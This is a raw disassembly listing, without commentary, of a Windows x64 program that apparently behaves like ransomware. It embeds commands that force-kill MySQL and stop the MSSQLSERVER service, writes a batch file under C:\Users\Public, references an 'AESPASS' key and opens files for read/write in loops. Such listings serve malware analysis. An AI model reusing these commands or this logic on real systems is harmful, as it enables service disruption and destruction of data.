mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r15
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x30], rbx
lea rax, [rbp - 0x10]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x10], rsi
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r15
mov qword [rbp], r15
mov qword [rbp - 0x10], r13
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x20], 0x40
mov qword [rbp - 0x18], r15
mov qword [rbp + 0x20], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp - 0x30], rax
lea rax, str.taskkill__f__im_mysqld.exe
mov qword [rbp - 0x18], rax
mov rcx, rdi
mov rax, qword [rbp - 0x18]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x10]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x10], r13
mov rdx, qword [rbp + 8]
test rdx, rdx
je 0x14000b83c
lea rcx, [rbp - 0x10]
call qword [method.CWString.virtual_24]
mov qword [rbp + 8], r15
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x10], r15
mov qword [rbp - 0x10], r12
mov qword [rbp - 0x30], r12
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x48], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x68], rax
lea rax, str.sc_stop_MSSQLSERVER
mov qword [rbp - 0x80], rax
mov rcx, rdi
mov rax, qword [rbp - 0x80]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x78]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000b8f0
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x68], r12
mov qword [rbp + 0x30], rsi
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r15
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x30], rbx
lea rax, [rbp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r15
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x80], 0x40
mov qword [rbp + 0x48], r15
mov qword [rbp + 0x80], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp + 0x30], rax
lea rax, str.C:UsersPublic64.bat
mov qword [rbp + 0x48], rax
lea rdx, [0x14005bf50]
lea rcx, [rbp + 0x1a0]
call fcn.140006cc0
mov rcx, rax
mov rax, qword [rbp + 0x48]
test rax, rax
jne 0x14000b99e
mov rax, rdi
cmp qword [rbp + 0x78], 0
cmovne rax, qword [rbp + 0x68]
mov rdx, rax
call fcn.14001e680
nop
mov qword [rbp + 0x1a0], r13
mov rdx, qword [rbp + 0x1b8]
test rdx, rdx
je 0x14000b9cb
lea rcx, [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
call qword [rax + 0x18]
mov qword [rbp + 0x1b8], r15
mov qword [rbp + 0x1c8], r15
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1a0], r12
lea rax, [rbp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x50], r13
mov rdx, qword [rbp + 0x68]
test rdx, rdx
je 0x14000ba07
lea rcx, [rbp + 0x50]
call qword [method.CWString.virtual_24]
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x78], r15
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x30], r12
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x68], rbx
lea rax, [rbp - 0x78]
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x78], r13
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x48], 0x40
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x48], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rsp + 0x68], rax
lea rax, str.C:UsersPublic64.bat
mov qword [rbp - 0x80], rax
mov rcx, rdi
mov rax, qword [rbp - 0x80]
test rax, rax
cmovne rcx, rax
call fcn.14001d270
nop
lea rax, [rbp - 0x78]
mov qword [rbp + 0x28], rax
mov qword [rbp - 0x78], r13
mov rdx, qword [rbp - 0x60]
test rdx, rdx
je 0x14000babb
lea rcx, [rbp - 0x78]
call qword [method.CWString.virtual_24]
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x58], r15
lea r15, vtable.CVolObject.0
mov qword [rbp - 0x78], r15
mov qword [rsp + 0x68], r15
mov edx, 5
lea r8d, [rdx - 1]
lea rcx, [rbp + 0x308]
call fcn.140008510
mov rsi, rax
mov edx, 3
lea r8d, [rdx + 5]
lea rcx, [rbp + 0x30]
call fcn.140008510
mov rdi, rax
mov edx, 9
lea r8d, [rdx - 7]
lea rcx, [rbp + 0x410]
call fcn.140008510
mov rbx, rax
mov edx, 9
lea r8d, [rdx - 8]
lea rcx, [rbp - 0x30]
call fcn.140008510
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140020420
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.140020420
nop
mov r8, rsi
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.140020420
nop
mov rdx, rax
lea rcx, [rbp + 0x870]
call fcn.140007550
nop
lea rcx, [rbp + 0xa8]
call fcn.1400050f0
nop
mov qword [rbp + 0x88], r15
lea rcx, [rbp + 0x1f8]
call fcn.1400050f0
nop
mov qword [rbp + 0x1d8], r15
lea rcx, [rbp - 0x78]
call fcn.1400050f0
nop
mov qword [rsp + 0x68], r15
lea rcx, [rbp - 0x10]
call fcn.1400050f0
nop
mov qword [rbp - 0x30], r15
lea rcx, [rbp + 0x430]
call fcn.1400050f0
nop
mov qword [rbp + 0x410], r15
lea rcx, [rbp + 0x50]
call fcn.1400050f0
nop
mov qword [rbp + 0x30], r15
lea rcx, [rbp + 0x328]
call fcn.1400050f0
nop
mov qword [rbp + 0x308], r15
mov r9d, 0xa
lea r8, [rbp + 0x3d8]
mov edx, 0x1f4
lea rcx, [0x14005bc30]
mov rax, qword [0x14005bc30]
call qword [rax + 0x30]
mov r9d, 0xa
lea r8, [rbp + 0x468]
mov edx, 0x1f5
lea rcx, [0x14005bc30]
mov rax, qword [0x14005bc30]
call qword [rax + 0x30]
lea rcx, [rbp + 0xbf8]
call fcn.140008940
mov rbx, rax
lea r12, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x88], r15
xor edi, edi
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rdi
lea rax, vtable.CWString.0
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xa8], r15
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd8], 0x40
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xd8], 0xfe
mov dword [rbp - 0x38], 1
lea rcx, [rbp + 0x1d8]
call fcn.140019550
nop
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.140007550
nop
lea rcx, [rbp + 0x1f8]
call fcn.1400050f0
nop
mov qword [rbp + 0x1d8], r15
mov r8, rbx
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0xaf0]
call fcn.140020420
nop
lea r8, str.AESPASS
mov rdx, rax
lea rcx, [rbp + 0xb48]
call fcn.1400205d0
nop
lea r8, [rbp + 0x870]
mov rdx, rax
lea rcx, [rbp + 0xba0]
call fcn.140020420
nop
lea r8, [0x140046c40]
mov rdx, rax
lea rcx, [rbp + 0xa40]
call fcn.1400205d0
nop
lea r8, [rbp + 0x510]
mov rdx, rax
lea rcx, [rbp + 0x9e0]
call fcn.140020420
nop
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.14001dba0
nop
lea r9, [rbp + 0x3d8]
mov r8, rax
lea rcx, [rbp + 0x118]
call fcn.1400065e0
mov dword [rbp - 0x38], 3
lea rcx, [rbp + 0x398]
mov rax, qword [rbp + 0x398]
call qword [rax + 0x88]
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x398]
call fcn.140004ca0
mov esi, 3
and esi, 0xfffffffd
mov dword [rbp - 0x38], esi
mov qword [rbp + 0x118], r13
mov rdx, qword [rbp + 0x130]
test rdx, rdx
je 0x14000be08
lea rcx, [rbp + 0x118]
mov rax, qword [rbp + 0x118]
call qword [rax + 0x18]
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x140], rdi
mov qword [rbp + 0x138], rdi
mov qword [rbp + 0x118], r15
mov qword [rbp + 0x1a0], r13
mov rdx, qword [rbp + 0x1b8]
test rdx, rdx
je 0x14000be48
lea rcx, [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
call qword [rax + 0x18]
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], r15
lea rcx, [rbp + 0x9e0]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xa40]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xba0]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xb48]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xaf0]
call fcn.1400044d0
and esi, 0xfffffffe
mov dword [rbp + 0x3d0], esi
mov dword [rbp - 0x38], esi
lea rcx, [rbp + 0x88]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xbf8]
call fcn.1400044d0
cmp dword [rbp + 0x3c0], 5
jge 0x14000c191
mov qword [rbp + 0x298], r13
mov rdx, qword [rbp + 0x2b0]
test rdx, rdx
je 0x14000befa
lea rcx, [rbp + 0x298]
mov rax, qword [rbp + 0x298]
call qword [rax + 0x18]
mov qword [rbp + 0x2b0], rdi
mov qword [rbp + 0x2c0], rdi
mov qword [rbp + 0x2b8], rdi
mov qword [rbp + 0x298], r15
mov qword [rbp + 0xe0], r13
mov rdx, qword [rbp + 0xf8]
test rdx, rdx
je 0x14000bf3a
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp + 0xe0]
call qword [rax + 0x18]
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0xe0], r15
lea rcx, [rbp + 0x8d0]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x6e0]
call fcn.1400044d0
nop
mov qword [rbp + 0x2d0], r13
mov rdx, qword [rbp + 0x2e8]
test rdx, rdx
je 0x14000bf94
lea rcx, [rbp + 0x2d0]
mov rax, qword [rbp + 0x2d0]
call qword [rax + 0x18]
mov qword [rbp + 0x2e8], rdi
mov qword [rbp + 0x2f8], rdi
mov qword [rbp + 0x2f0], rdi
mov qword [rbp + 0x2d0], r15
mov qword [rbp + 0x360], r13
mov rdx, qword [rbp + 0x378]
test rdx, rdx
je 0x14000bfd4
lea rcx, [rbp + 0x360]
mov rax, qword [rbp + 0x360]
call qword [rax + 0x18]
mov qword [rbp + 0x378], rdi
mov qword [rbp + 0x388], rdi
mov qword [rbp + 0x380], rdi
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x4a0], r13
mov rdx, qword [rbp + 0x4b8]
test rdx, rdx
je 0x14000c014
lea rcx, [rbp + 0x4a0]
mov rax, qword [rbp + 0x4a0]
call qword [rax + 0x18]
mov qword [rbp + 0x4b8], rdi
mov qword [rbp + 0x4c8], rdi
mov qword [rbp + 0x4c0], rdi
mov qword [rbp + 0x4a0], r15
lea rcx, [rbp + 0x740]
call fcn.1400044d0
nop
mov qword [rbp + 0x398], r13
mov rdx, qword [rbp + 0x3b0]
test rdx, rdx
je 0x14000c061
lea rcx, [rbp + 0x398]
mov rax, qword [rbp + 0x398]
call qword [rax + 0x18]
mov qword [rbp + 0x3b0], rdi
mov qword [rbp + 0x3c0], rdi
mov qword [rbp + 0x3b8], rdi
mov qword [rbp + 0x398], r15
mov qword [rbp + 0x4d8], r13
mov rdx, qword [rbp + 0x4f0]
test rdx, rdx
je 0x14000c0a1
lea rcx, [rbp + 0x4d8]
mov rax, qword [rbp + 0x4d8]
call qword [rax + 0x18]
mov qword [rbp + 0x4f0], rdi
mov qword [rbp + 0x500], rdi
mov qword [rbp + 0x4f8], rdi
mov qword [rbp + 0x4d8], r15
mov qword [rbp + 0x3d8], r13
mov rdx, qword [rbp + 0x3f0]
test rdx, rdx
je 0x14000c0e1
lea rcx, [rbp + 0x3d8]
mov rax, qword [rbp + 0x3d8]
call qword [rax + 0x18]
mov qword [rbp + 0x3f0], rdi
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x3f8], rdi
mov qword [rbp + 0x3d8], r15
mov qword [rbp + 0x468], r13
mov rdx, qword [rbp + 0x480]
test rdx, rdx
je 0x14000c121
lea rcx, [rbp + 0x468]
mov rax, qword [rbp + 0x468]
call qword [rax + 0x18]
mov qword [rbp + 0x480], rdi
mov qword [rbp + 0x490], rdi
mov qword [rbp + 0x488], rdi
mov qword [rbp + 0x468], r15
lea rcx, [rbp + 0x510]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x870]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x230]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x680]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x810]
call fcn.140009b70
nop
lea rcx, [rbp + 0x570]
call fcn.140009b70
xor eax, eax
jmp 0x14000ea39
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rdi
lea rax, vtable.CWString.0
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0xa8], r12
mov qword [rbp + 0xa8], r15
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xa8], r13
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd8], 0x40
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xd8], 0xfe
lea rdx, [rbp + 0x88]
lea rcx, [rbp + 0x398]
call fcn.14001e720
mov rdx, rax
lea rcx, [rbp + 0x740]
call fcn.140007550
nop
lea rcx, [rbp + 0x88]
call fcn.1400044d0
lea r8, [rbp + 0x740]
lea rdx, [0x14005be30]
lea rcx, [rbp + 0x9e0]
call fcn.140020420
nop
mov rdx, rax
lea rcx, [rbp + 0x6e0]
call fcn.140007550
nop
lea rcx, [rbp + 0x9e0]
call fcn.1400044d0
lea r8, [rbp + 0x740]
lea rdx, [0x14005be90]
lea rcx, [rbp + 0x9e0]
call fcn.140020420
nop
mov rdx, rax
lea rcx, [rbp + 0x8d0]
call fcn.140007550
nop
lea rcx, [rbp + 0x9e0]
call fcn.1400044d0
lea r8, [rbp + 0x740]
lea rdx, [0x14005bef0]
lea rcx, [rbp + 0x9e0]
call fcn.140020420
nop
mov rdx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140006cc0
mov rbx, rax
lea rcx, [rbp + 0x298]
mov rdx, qword [rbp + 0x298]
call qword [rdx + 0x88]
mov rdx, rbx
lea rcx, [rbp + 0x298]
call fcn.140004ca0
nop
mov qword [rbp + 0x1a0], r13
mov rdx, qword [rbp + 0x1b8]
test rdx, rdx
je 0x14000c32e
lea rcx, [rbp + 0x1a0]
mov rax, qword [rbp + 0x1a0]
call qword [rax + 0x18]
mov qword [rbp + 0x1b8], rdi
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], r15
lea rcx, [rbp + 0x9e0]
call fcn.1400044d0
mov rcx, qword [rbp + 0x758]
test rcx, rcx
je 0x14000c37c
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x14000c370
jmp 0x14000c393
mov rax, qword [rbp + 0x788]
test rax, rax
jne 0x14000c38d
mov rax, rdi
jmp 0x14000c393
shr rax, 1
dec rax
cmp eax, 0x1f4
jge 0x14000c603
mov qword [rbp + 0x298], r13
mov rdx, qword [rbp + 0x2b0]
test rdx, rdx
je 0x14000c3c2
lea rcx, [rbp + 0x298]
mov rax, qword [rbp + 0x298]
call qword [rax + 0x18]
mov qword [rbp + 0x2b0], rdi
mov qword [rbp + 0x2c0], rdi
mov qword [rbp + 0x2b8], rdi
mov qword [rbp + 0x298], r15
mov qword [rbp + 0xe0], r13
mov rdx, qword [rbp + 0xf8]
test rdx, rdx
je 0x14000c402
lea rcx, [rbp + 0xe0]
mov rax, qword [rbp + 0xe0]
call qword [rax + 0x18]
mov qword [rbp + 0xf8], rdi
mov qword [rbp + 0x108], rdi
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0xe0], r15
lea rcx, [rbp + 0x8d0]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x6e0]
call fcn.1400044d0
nop
mov qword [rbp + 0x2d0], r13
mov rdx, qword [rbp + 0x2e8]
test rdx, rdx
je 0x14000c45c
lea rcx, [rbp + 0x2d0]
mov rax, qword [rbp + 0x2d0]
call qword [rax + 0x18]
mov qword [rbp + 0x2e8], rdi
mov qword [rbp + 0x2f8], rdi
mov qword [rbp + 0x2f0], rdi
mov qword [rbp + 0x2d0], r15
mov qword [rbp + 0x360], r13
mov rdx, qword [rbp + 0x378]
test rdx, rdx
je 0x14000c49c
lea rcx, [rbp + 0x360]
mov rax, qword [rbp + 0x360]
call qword [rax + 0x18]
mov qword [rbp + 0x378], rdi
mov qword [rbp + 0x388], rdi
mov qword [rbp + 0x380], rdi
mov qword [rbp + 0x360], r15
mov qword [rbp + 0x4a0], r13
mov rdx, qword [rbp + 0x4b8]
test rdx, rdx
je 0x14000c4dc
lea rcx, [rbp + 0x4a0]
mov rax, qword [rbp + 0x4a0]
call qword [rax + 0x18]
mov qword [rbp + 0x4b8], rdi
mov qword [rbp + 0x4c8], rdi
mov qword [rbp + 0x4c0], rdi
mov qword [rbp + 0x4a0], r15
lea rcx, [rbp + 0x740]
call fcn.1400044d0
nop
mov qword [rbp + 0x398], r13
mov rdx, qword [rbp + 0x3b0]
test rdx, rdx
je 0x14000c529
lea rcx, [rbp + 0x398]
mov rax, qword [rbp + 0x398]
call qword [rax + 0x18]
mov qword [rbp + 0x3b0], rdi
mov qword [rbp + 0x3c0], rdi
mov qword [rbp + 0x3b8], rdi
mov qword [rbp + 0x398], r15
mov qword [rbp + 0x4d8], r13
mov rdx, qword [rbp + 0x4f0]
test rdx, rdx
je 0x14000c569
lea rcx, [rbp + 0x4d8]
mov rax, qword [rbp + 0x4d8]
call qword [rax + 0x18]
mov qword [rbp + 0x4f0], rdi
mov qword [rbp + 0x500], rdi
mov qword [rbp + 0x4f8], rdi
mov qword [rbp + 0x4d8], r15
mov qword [rbp + 0x3d8], r13
mov rdx, qword [rbp + 0x3f0]
test rdx, rdx
je 0x14000c5a9
lea rcx, [rbp + 0x3d8]
mov rax, qword [rbp + 0x3d8]
call qword [rax + 0x18]
mov qword [rbp + 0x3f0], rdi
mov qword [rbp + 0x400], rdi
mov qword [rbp + 0x3f8], rdi
mov qword [rbp + 0x3d8], r15
mov qword [rbp + 0x468], r13
mov rdx, qword [rbp + 0x480]
test rdx, rdx
je 0x14000c5e9
lea rcx, [rbp + 0x468]
mov rax, qword [rbp + 0x468]
call qword [rax + 0x18]
mov qword [rbp + 0x480], rdi
mov qword [rbp + 0x490], rdi
mov qword [rbp + 0x488], rdi
jmp 0x14000c136
lea rcx, [rbp + 0x810]
call fcn.140008a30
mov rdx, qword [rbp + 0x858]
mov rax, rdx
shr rax, 3
mov r8, rdi
mov qword [rbp + 0x158], rdi
cdqe
mov qword [rbp + 0x290], rax
test rax, rax
jle 0x14000d8f4
lea rbx, [0x140047278]
mov rcx, qword [rbp + 0x848]
test rdx, rdx
cmove rcx, rdi
movsxd rax, r8d
mov rdx, qword [rcx + rax*8]
test rdx, rdx
cmove rdx, rbx
lea rcx, [rbp + 0xe08]
call fcn.140004970
nop
lea r8, [0x1400493b0]
mov rdx, rax
lea rcx, [rbp + 0xdb0]
call fcn.1400205d0
nop
mov rdx, rax
lea rcx, [rbp + 0x680]
call fcn.140007550
nop
lea rcx, [rbp + 0xdd0]
call fcn.1400050f0
nop
mov qword [rbp + 0xdb0], r15
lea rcx, [rbp + 0xe28]
call fcn.1400050f0
nop
mov qword [rbp + 0xe08], r15
mov qword [rbp + 0x1d8], r12
mov qword [rbp + 0x1d8], r15
mov qword [rbp + 0x1e0], rdi
mov qword [rbp + 0x1e8], rdi
lea rax, vtable.CWString.0
mov qword [rbp + 0x1d8], rax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x60], rax
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x200], rdi
mov qword [rbp + 0x208], rdi
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x220], rdi
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x228], 0x40
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x228], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp + 0x1d8], rax
lea rax, [0x1400493b8]
mov qword [rbp + 0x1f0], rax
mov rdx, rbx
mov rax, qword [rbp + 0x1f0]
test rax, rax
cmovne rdx, rax
mov r9d, 1
lea rcx, [rbp + 0x680]
call fcn.140020280
shr eax, 0x1f
lea rcx, [rbp + 0x1f8]
mov qword [rbp + 0x28], rcx
mov qword [rbp + 0x1f8], r13
mov qword [rbp + 0x210], rdi
mov qword [rbp + 0x220], rdi
mov qword [rbp + 0x218], rdi
mov qword [rbp + 0x1f8], r15
mov qword [rbp + 0x1d8], r15
test al, al
je 0x14000d8ce
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0xc50]
call fcn.14000eef0
mov rbx, rax
lea rcx, [rbp + 0x570]
mov rdx, qword [rbp + 0x570]
call qword [rdx + 0x88]
mov rdx, rbx
lea rcx, [rbp + 0x570]
call fcn.140009a10
nop
lea rcx, [rbp + 0xc50]
call fcn.140009b70
mov rdx, qword [rbp + 0x5b8]
mov rax, rdx
shr rax, 3
mov r12, rdi
mov qword [rbp + 0x150], rdi
movsxd r13, eax
mov qword [rbp + 0x678], r13
test eax, eax
jle 0x14000d8b9
lea rbx, vtable.CVolMem.0
nop dword [rax]
mov rcx, qword [rbp + 0x5a8]
test rdx, rdx
cmove rcx, rdi
movsxd rax, r12d
mov rdx, qword [rcx + rax*8]
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x30], rcx
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x40], rdi
lea r8, vtable.CWString.0
mov qword [rbp + 0x30], r8
lea rax, [rbp + 0x50]
mov qword [rbp + 0x968], rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x50], rbx
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x78], rdi
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x80], 0x40
mov qword [rbp + 0x48], rdi
mov qword [rbp + 0x80], 0xfe
mov qword [rbp + 0x30], r8
test rdx, rdx
lea rax, [0x140047278]
cmove rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14001f850
nop
lea rcx, [rbp + 0x230]
mov rax, qword [rbp + 0x230]
call qword [rax + 0x88]
mov rax, qword [rbp + 0x38]
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0x248], rax
lea rcx, [rbp + 0x250]
mov rax, qword [rbp + 0x250]
call qword [rax + 0x88]
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x250]
call fcn.140004ca0
nop
lea rax, [rbp + 0x50]
mov qword [rbp + 0xa38], rax
mov qword [rbp + 0x50], rbx
mov rdx, qword [rbp + 0x68]
test rdx, rdx
je 0x14000c955
lea rcx, [rbp + 0x50]
mov rax, qword [rbp + 0x50]
call qword [rax + 0x18]
mov qword [rbp + 0x68], rdi
mov qword [rbp + 0x78], rdi
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x30], r15
lea rcx, vtable.CVolCommonBaseWithMemManager.0
mov qword [rbp + 0x88], rcx
mov qword [rbp + 0x88], r15
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rdi
lea rdx, vtable.CWString.0
mov qword [rbp + 0x88], rdx
lea rax, [rbp + 0xa8]
mov qword [rbp + 0x930], rax
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0xa8], r15
mov qword [rbp + 0xb0], rdi
mov qword [rbp + 0xb8], rdi
mov qword [rbp + 0xa8], rbx
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xc8], rdi
mov qword [rbp + 0xd8], 0x40
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xd8], 0xfe
lea rax, vtable.CWConstString.0
mov qword [rbp + 0x88], rax
lea rax, str.C:UsersPublicpepe.txt
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0x410], rcx
mov qword [rbp + 0x410], r15
mov qword [rbp + 0x418], rdi
mov qword [rbp + 0x420], rdi
mov qword [rbp + 0x410], rdx
lea rax, [rbp + 0x430]
mov qword [rbp + 0x938], rax
mov qword [rbp + 0x430], rcx
mov qword [rbp + 0x430], r15
mov qword [rbp + 0x438], rdi
mov qword [rbp + 0x440], rdi
mov qword [rbp + 0x430], rbx
mov qword [rbp + 0x448], rdi
mov qword [rbp + 0x458], rdi
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x460], 0x40
mov qword [rbp + 0x428], rdi
mov qword [rbp + 0x460], 0xfe
mov qword [rbp + 0x410], rdx
mov r8d, r12d
lea rdx, [0x14004ab54]
lea rcx, [rbp + 0xe60]
call fcn.14001f140
lea rdx, [rbp + 0xe60]
lea rcx, [rbp + 0x410]
call fcn.14001f850
nop
lea r8, [rbp + 0x410]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xbf8]
call fcn.140020420
nop
mov rdx, rax
lea rcx, [rbp + 0x9a8]
call fcn.14001dba0
mov rcx, rax
mov rax, qword [rbp + 0xa0]
test rax, rax
jne 0x14000cb20
lea rax, [0x140047278]
cmp qword [rbp + 0xd0], 0
cmovne rax, qword [rbp + 0xc0]
mov rdx, rax
call fcn.14001e680
nop
mov qword [rbp + 0x9a8], rbx
mov rdx, qword [rbp + 0x9c0]
test rdx, rdx
je 0x14000cb4d
lea rcx, [rbp + 0x9a8]
mov rax, qword [rbp + 0x9a8]
call qword [rax + 0x18]
mov qword [rbp + 0x9c0], rdi
mov qword [rbp + 0x9d0], rdi
mov qword [rbp + 0x9c8], rdi
mov qword [rbp + 0x9a8], r15
lea rcx, [rbp + 0xc18]
call fcn.1400050f0
nop
mov qword [rbp + 0xbf8], r15
lea rax, [rbp + 0x430]
mov qword [rbp + 0x940], rax
mov qword [rbp + 0x430], rbx
mov rdx, qword [rbp + 0x448]
test rdx, rdx
je 0x14000cbaf
lea rcx, [rbp + 0x430]
mov rax, qword [rbp + 0x430]
call qword [rax + 0x18]
mov qword [rbp + 0x448], rdi
mov qword [rbp + 0x458], rdi
mov qword [rbp + 0x450], rdi
mov qword [rbp + 0x430], r15
mov qword [rbp + 0x410], r15
lea rcx, [rbp + 0x88]
call fcn.1400044d0
lea rcx, [rbp + 0x230]
call fcn.140007a10
mov rdi, rax
mov rax, qword [rbp + 0x248]
test rax, rax
jne 0x14000cc10
lea rax, [0x140047278]
cmp qword [rbp + 0x278], 0
cmovne rax, qword [rbp + 0x268]
xor r15d, r15d
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r15 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 2
jge 0x14000cc71
mov rax, qword [rbp + 0x248]
test rax, rax
jne 0x14000cc68
lea rax, [0x140047278]
cmp qword [rbp + 0x278], r15
cmovne rax, qword [rbp + 0x268]
